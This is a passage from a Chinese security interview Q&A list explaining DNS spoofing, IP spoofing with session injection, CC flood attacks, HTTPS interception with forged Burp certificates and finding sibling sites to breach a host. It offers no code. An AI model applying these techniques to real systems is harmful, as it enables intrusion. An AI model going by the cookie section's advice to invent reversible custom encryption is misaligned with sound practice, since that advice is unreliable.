DNS(Domain NameSystem),即域名服務器,我們幾乎天天都要用到。對於正常的 DNS 請求,例如在瀏覽器輸入www.hacker.com.cn,然後系統先查看 Hosts 文件,如果有相對應的 IP,就使用這個 IP 地址訪問網站(其實,利用 Hosts 文件就可以實現DNS 欺騙);如果沒有,纔去請求 DNS 服務器;DNS 服務器在接收到請求之後,解析出其對應的 IP 地址,返回給我本地,最後你就可以登陸到黑客防線的網站。而 DNS 欺騙則是,目標將其 DNS 請求發送到攻擊者這裏,然後攻擊者僞造 DNS 響應,將正確的 IP 地址替換爲其他 IP,之後你就登陸了這個攻擊者指定的 IP,而攻擊者早就在這個 IP 中安排好了惡意網頁,可你卻在不知不覺中已經被攻擊者下了“套”……DNS 欺騙也可以在廣域網中進行,比較常見的有“Web 服務器重定向”、“郵件服務器重定向”等等。但不管是 ARP 欺騙,還是 DNS 欺騙,中間人攻擊都改變正常的通訊流,它就相當於會話雙方之間的一個透明代理,可以得到一切想知道的信息,甚至是利用一些有缺陷的加密協議來實現。

90.注射式攻擊簡介?

這種方式的會話劫持比中間人攻擊實現起來簡單一些,它不會改變會話雙方的通訊流,而是在雙方正常的通訊流插入惡意數據。在注射式攻擊中,需要實現兩種技術:
1)IP 欺騙
2)預測 TCP 序列號。
如果是 UDP 協議,只需僞造 IP 地址,然後發送過去就可以了,因爲 UDP 沒有所謂的 TCP 三次握手,但基於 UDP 的應用協議有流控機制,所以也要做一些額外的工作。對於 IP 欺騙,有兩種情需要用到:
1)隱藏自己的 IP 地址;
2)利用兩臺機器之間的信任關係實施入侵。

在 Unix/Linux 平臺上,可以直接使用 Socket 構造 IP 包,在 IP 頭中填上虛假的IP 地址,但需要 root 權限;在 Windows 平臺上,不能使用 Winsock,需要使用 Winpacp(也可以使用 Libnet)。例如在 Linux 系統,首先打開一個 Raw Socket(原始套接字),然後自己編寫 IP 頭及其他數據。

91.什麼叫 CC 攻擊?

攻擊者藉助代理服務器生成指向受害主機的合法請求,實現 DDOS,和僞裝就叫:CC(ChallengeCollapsar)。
CC 主要是用來攻擊頁面的。大家都有這樣的經歷,就是在訪問論壇時,如果這個論壇比較大,訪問的人比較多,打開頁面的速度會比較慢,訪問的人越多,論壇的頁面越多,數據庫就越大,被訪問的頻率也越高,佔用的系統資源也就相當可觀。
一個靜態頁面不需要服務器多少資源,甚至可以說直接從內存中讀出來發給你就可以了,但是論壇就不一樣了,我看一個帖子,系統需要到數據庫中判斷我是否有讀帖子的權限,如果有,就讀出帖子裏面的內容,顯示出來——這裏至少訪問了 2 次數據庫,如果數據庫的數據容量有 200MB 大小,系統很可能就要在這200MB 大小的數據空間搜索一遍,這需要多少的 CPU 資源和時間?如果我是查找一個關鍵字,那麼時間更加可觀,因爲前面的搜索可以限定在一個很小的範圍內,比如用戶權限只查用戶表,帖子內容只查帖子表,而且查到就可以馬上停止查詢,而搜索肯定會對所有的數據進行一次判斷,消耗的時間是相當的大。
CC 就是充分利用了這個特點,模擬多個用戶(多少線程就是多少用戶)不停的進行訪問(訪問那些需要大量數據操作,就是需要大量 CPU 時間的頁面).這一點用一個一般的性能測試軟件就可以做到大量模擬用戶併發。

92.添加時間戳防止重放攻擊?

如過客戶端在向服務端接口進行請求,如果請求信息進行了加密處理,被第三方截取到請求包,雖然第三方無法解密獲取其中的數據,但是可以使用該請求包進行重複的請求操作。如果服務端不進行防重放攻擊,就會參數服務器壓力增大,數據紊亂的後果。而使用添加時間戳的方式可以解決這一問題。

93.淺析 HTTPS 中間人攻擊與證書校驗?

http://www.2cto.com/article/201607/523509.html
證書是 https 裏非常重要的主體,可用來識別對方是否可信,以及用其公鑰做密鑰交換。可以看見證書裏面包含證書的頒發者,證書的使用者,證書的公鑰,頒發者的簽名等信息。其中 Issuer Name 是簽發此證書的 CA 名稱,用來指定簽發證書的 CA 的可識別的唯一名稱(DN, Distinguished Name),用於證書鏈的認證,這樣通過各級實體證書的驗證,逐漸上溯到鏈的終止點,即可信任的根 CA,如果到達終點在自己的信任列表內未發現可信任的 CA 則認爲此證書不可信。
https 握手過程的證書校驗環節就是爲了識別證書的有效性唯一性等等,所以嚴格意義上來說 https 下不存在中間人攻擊,存在中間人攻擊的前提條件是沒有嚴格的對證書進行校驗,或者人爲的信任僞造證書,下面一起看下幾種常見的
https“中間人攻擊”場景。

(1)證書未校驗
由於客戶端沒有做任何的證書校驗,所以此時隨意一張證書都可以進行中間人攻擊,可以使用 burp 裏的這個模塊進行中間人攻擊。
通過瀏覽器查看實際的 https 證書,是一個自簽名的僞造證書。

(2)部分校驗
做了部分校驗,例如在證書校驗過程中只做了證書域名是否匹配的校驗,可以使用 burp 的如下模塊生成任意域名的僞造證書進行中間人攻擊。
實際生成的證書效果,如果只做了域名、證書是否過期等校驗可輕鬆進行中間人攻擊(由於 chrome 是做了證書校驗的所以會提示證書不可信任)。

(3)證書鏈校驗
如果客戶端對證書鏈做了校驗,那麼攻擊難度就會上升一個層次,此時需要人爲的信任僞造的證書或者安裝僞造的 CA 公鑰證書從而間接信任僞造的證書,可以使用 burp 的如下模塊進行中間人攻擊。
可以看見瀏覽器是會報警告的,因爲 burp 的根證書 PortSwigger CA 並不在瀏覽器可信任列表內,所以由它作爲根證書籤發的證書都是不能通過瀏覽器的證書校驗的,如果將 PortSwigger CA 導入系統設置爲可信任證書,那麼瀏覽器將不會有任何警告。
手機客戶端 Https 數據包抓取上述第一、二種情況不多加贅述,第三種情況就是我們經常使用的抓手機應用https 數據包的方法,即導入代理工具的公鑰證書到手機裏,再進行 https 數據包的抓取。導入手機的公鑰證書在 android 平臺上稱之爲受信任的憑據,可以看見是 Issuer 和 Subject 一樣的自簽名 CA 公鑰證書,另外我們也可以通過證書類型就可以知道此爲公鑰證書,crt、der 格式的證書不支持存儲私鑰或證書路徑(有興趣的同學可查找證書相關信息)。導入 CA 公鑰證書之後,參考上文的證書校驗過程不難發現通過此方式能通過證書鏈校驗,從而形成中間人攻擊,客戶端使用代理工具的公鑰證書加密隨機數,代理工具使用私鑰解密並計算得到對稱加密密鑰,再對數據包進行解密即可抓取明文數據包。

(4)中間人攻擊原理

一直在說中間人攻擊,那麼中間人攻擊到底是怎麼進行的呢,下面我們通過一個流行的 MITM 開源庫 mitmproxy 來分析中間人攻擊的原理。中間人攻擊的關鍵在於 https 握手過程的 ClientKeyExchange,由於 pre key 交換的時候是使用服務器證書裏的公鑰進行加密,如果用的僞造證書的公鑰,那麼中間人就可以解開該密文得到 pre_master_secret 計算出用於對稱加密算法的 master_key,從而獲取到客戶端發送的數據;然後中間人代理工具再使用其和服務端的master_key 加密傳輸給服務端;同樣的服務器返回給客戶端的數據也是經過中
間人解密再加密,於是完整的 https 中間人攻擊過程就形成了,一圖勝千言,來吧。

(5)App 證書校驗
通過上文第一和第二部分的說明,相信大家已經對 https 有個大概的瞭解了,那麼問題來了,怎樣才能防止這些“中間人攻擊”呢?
app 證書校驗已經是一個老生常談的問題了,但是市場上還是有很多的 app 未做好證書校驗,有些只做了部分校驗,例如檢查證書域名是否匹配證書是否過期,更多數的是根本就不做校驗,於是就造成了中間人攻擊。做證書校驗需要做完全,只做一部分都會導致中間人攻擊,對於安全要求並不是特別高的 app 可使用如下校驗方式:查看證書是否過期 服務器證書上的域名是否和服務器的實際域名相匹配,校驗證書鏈。

94.什麼是 HttpOnly?

如果您在 cookie 中設置了 HttpOnly 屬性,那麼通過 js 腳本將無法讀取到cookie 信息,這樣能有效的防止 XSS 攻擊

95.如何設計相對安全的 cookie 自動登錄系統?

http://blog.sina.com.cn/s/blog_90cbd0ab0101ew0p.html
這種技術其實就是基於 cookie 的自動登錄,用戶登錄的時候會把需要驗證的token 寫到 cookie 裏面,當用戶 session 失效的時候,token 會通過 cookie 發送給服務器端,服務器端解析 token 判斷是否已經登錄;這裏面的 token 如何設計是關鍵,到底存什麼數據才能保證系統的安全性呢?

有些新手可能會想,把用戶 id 和 password 直接 md5 加密存到 cookie,這樣做是最糟糕的設計,用戶的敏感信息直接暴露出來,黑客可以僞造別人的 id 進行嘗試性登錄,可以想象黑客知道了 admin 賬號的 id,試過幾千幾萬次,密碼和加密算法很可能破解出來。
token 要相對安全,不應該是簡單的用戶名和密碼 md5 加密,用戶密碼其實完

全可以不用存進去,分兩步來做:
1)token 是一些信息的組合,用戶 id+用戶名+expires 過期時間+ip 地址+salt,具體加密算法最好自己寫,不能使是常見的加密函數(md5),當然這 個加密函數必須可逆,這個 token 我們同時要保存在用戶表數據庫裏面,set cookie 的時候記得 http only;
2) 服務器端拿到 cookie 之後,進行逆解析,這個時候我們要驗證如下信息:

cookie 是否過期、ip 地址是否發生變化、用戶 id 和用戶名是否存在;用戶 存在之後,我們再拿這個 token 跟第一步存在數據庫中的 token 進行比較,看是否相等,如果不等說明 token 已經過期,這樣做可保證每次用戶登錄之 後 token值都不一樣,之前用過的 token 都會失效;

96.SSH 的定義?

SSH 爲 Secure Shell 的縮寫,由 IETF 的網絡小組(Network Working Group)
所制定;SSH 爲建立在應用層基礎上的安全協議。SSH 是目前較可靠,專爲遠程登錄會話和其他網絡服務提供安全性的協議。利用 SSH 協議可以有效防止遠程管理過程中的信息泄露問題。

97.服務器操作系統的安全防範?

停止運行不需要的軟件;(很可能成爲外部攻擊的入口)定期實施漏洞防範措施;(選定軟件時確認軟件的升級狀況,確定打補丁方式,關注各種漏洞信息,確認漏洞後調查補丁狀況以及防範對策,並制定對應計劃)對不需要對外公開的端口或者服務加以訪問限制;(通過端口掃描確認各端口服務狀態)提高認證強度。

98.日誌文件查看?

windows7 的日誌信息文件存放在 C:windows-》System32-》winevt-》Logs文件夾下,對應的日誌文件也有很多,並且文件格式都是 evtx 格式的文件,直接用 Eventvwr.msc 這個命令啓用事件查看器來查看即可。
或者點擊開始然後單擊控制面板進入 win7 控制面板,單擊“系統和安全”選項。在右下方找到“查看事件日誌”進入 windows 系統日誌查看器。
在日誌查看器左側可以選擇查看不同類型日誌,一般系統報錯應該在“windows 日誌/系統”中找相關信息。雙擊單條日誌可以查看詳細信息,而右側欄可以對日誌進行刪除、複製等操作。

99.localStorage 和 sessionStorage 區別?

http://www.cnblogs.com/tylerdonet/p/4833681.html
http://www.2cto.com/article/201505/401601.html
localStorage 和 sessionStorage 一樣都是用來存儲客戶端臨時信息的對象。他們均只能存儲字符串類型的對象(雖然規範中可以存儲其他原生類型的對象,但是目前爲止沒有瀏覽器對其進行實現)。
localStorage 生命週期是永久,這意味着除非用戶顯示在瀏覽器提供的 UI 上清除 localStorage 信息,否則這些信息將永遠存在。
sessionStorage 生命週期爲當前窗口或標籤頁,一旦窗口或標籤頁被永久關閉了,那麼所有通過 sessionStorage 存儲的數據也就被清空了。
不同瀏覽器無法共享 localStorage 或 sessionStorage 中的信息。相同瀏覽器的不同頁面間可以共享相同的 localStorage(頁面屬於相同域名和端口),但是不同頁面或標籤頁間無法共享 sessionStorage 的信息。這裏需要注意的是,頁面及標 籤頁僅指頂級窗口,如果一個標籤頁包含多個 iframe 標籤且他們屬於同源頁面,那麼他們之間是可以共享 sessionStorage 的。

100.簡單的查找旁站?

百度 域名查找 IP 打開可行的網頁,在裏面輸入目標域名,搜索出服務器的 IP,然後百度 IP 反查域名 選擇一個可行的網頁打開,輸入剛剛查詢到的 IP,旁站就通通出來了。
目標站沒法子入侵不代表旁站也一樣。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章